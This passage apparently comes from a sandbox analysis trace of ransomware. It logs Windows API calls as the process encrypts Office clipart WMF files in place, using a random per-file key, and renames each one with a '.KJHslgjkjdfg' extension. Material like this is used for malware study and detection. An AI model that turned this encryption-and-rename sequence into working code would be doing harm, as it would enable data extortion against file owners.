Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.818] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.821] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.821] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.821] GetProcessHeap () returned 0x990000 [0212.821] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.821] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.821] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.821] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.821] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.822] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.822] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.822] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.822] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.822] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.822] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d68, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d68, lpOverlapped=0x0) returned 1 [0212.825] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d70, dwBufLen=0x1d70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d70) returned 1 [0212.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.825] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d70, lpOverlapped=0x0) returned 1 [0212.825] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.825] SetEndOfFile (hFile=0x130) returned 1 [0212.826] GetProcessHeap () returned 0x990000 [0212.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.826] GetProcessHeap () returned 0x990000 [0212.826] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.kjhslgjkjdfg")) returned 1 [0212.828] CloseHandle (hObject=0x130) returned 1 [0212.828] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02024_.WMF", cAlternateFileName="")) returned 1 [0212.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.829] GetProcessHeap () returned 0x990000 [0212.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.830] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.832] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.832] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.832] GetProcessHeap () returned 0x990000 [0212.832] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.832] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.832] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.832] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.832] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.832] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.832] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.833] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.833] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.833] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.833] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x23a8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x23a8, lpOverlapped=0x0) returned 1 [0212.834] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23b0, dwBufLen=0x23b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23b0) returned 1 [0212.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.834] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x23b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x23b0, lpOverlapped=0x0) returned 1 [0212.834] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.834] SetEndOfFile (hFile=0x130) returned 1 [0212.837] GetProcessHeap () returned 0x990000 [0212.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.837] GetProcessHeap () returned 0x990000 [0212.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.kjhslgjkjdfg")) returned 1 [0212.839] CloseHandle (hObject=0x130) returned 1 [0212.839] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02025_.WMF", cAlternateFileName="")) returned 1 [0212.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.840] GetProcessHeap () returned 0x990000 [0212.840] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.840] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.841] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0212.844] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.845] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.845] GetProcessHeap () returned 0x990000 [0212.845] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.845] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.845] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.845] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.845] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.845] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.845] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.845] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.845] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.845] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.845] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.846] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2016, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2016, lpOverlapped=0x0) returned 1 [0212.847] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2020, dwBufLen=0x2020 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2020) returned 1 [0212.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.848] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2020, lpOverlapped=0x0) returned 1 [0212.848] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.848] SetEndOfFile (hFile=0x130) returned 1 [0212.851] GetProcessHeap () returned 0x990000 [0212.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.851] GetProcessHeap () returned 0x990000 [0212.851] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.kjhslgjkjdfg")) returned 1 [0212.853] CloseHandle (hObject=0x130) returned 1 [0212.853] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02028_.WMF", cAlternateFileName="")) returned 1 [0212.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.854] GetProcessHeap () returned 0x990000 [0212.854] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.854] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.857] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.857] GetProcessHeap () returned 0x990000 [0212.857] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.857] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.857] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.857] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.857] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.857] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.857] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.858] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.858] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.858] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.858] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x24c8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x24c8, lpOverlapped=0x0) returned 1 [0212.861] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x24d0, dwBufLen=0x24d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x24d0) returned 1 [0212.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.862] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x24d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x24d0, lpOverlapped=0x0) returned 1 [0212.862] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.862] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x25a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.862] SetEndOfFile (hFile=0x130) returned 1 [0212.863] GetProcessHeap () returned 0x990000 [0212.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.863] GetProcessHeap () returned 0x990000 [0212.863] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.kjhslgjkjdfg")) returned 1 [0212.865] CloseHandle (hObject=0x130) returned 1 [0212.865] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x266c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02045_.WMF", cAlternateFileName="")) returned 1 [0212.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.867] GetProcessHeap () returned 0x990000 [0212.867] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.867] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.867] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.869] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.869] GetProcessHeap () returned 0x990000 [0212.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.869] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.869] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.869] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.869] WriteFile (in: 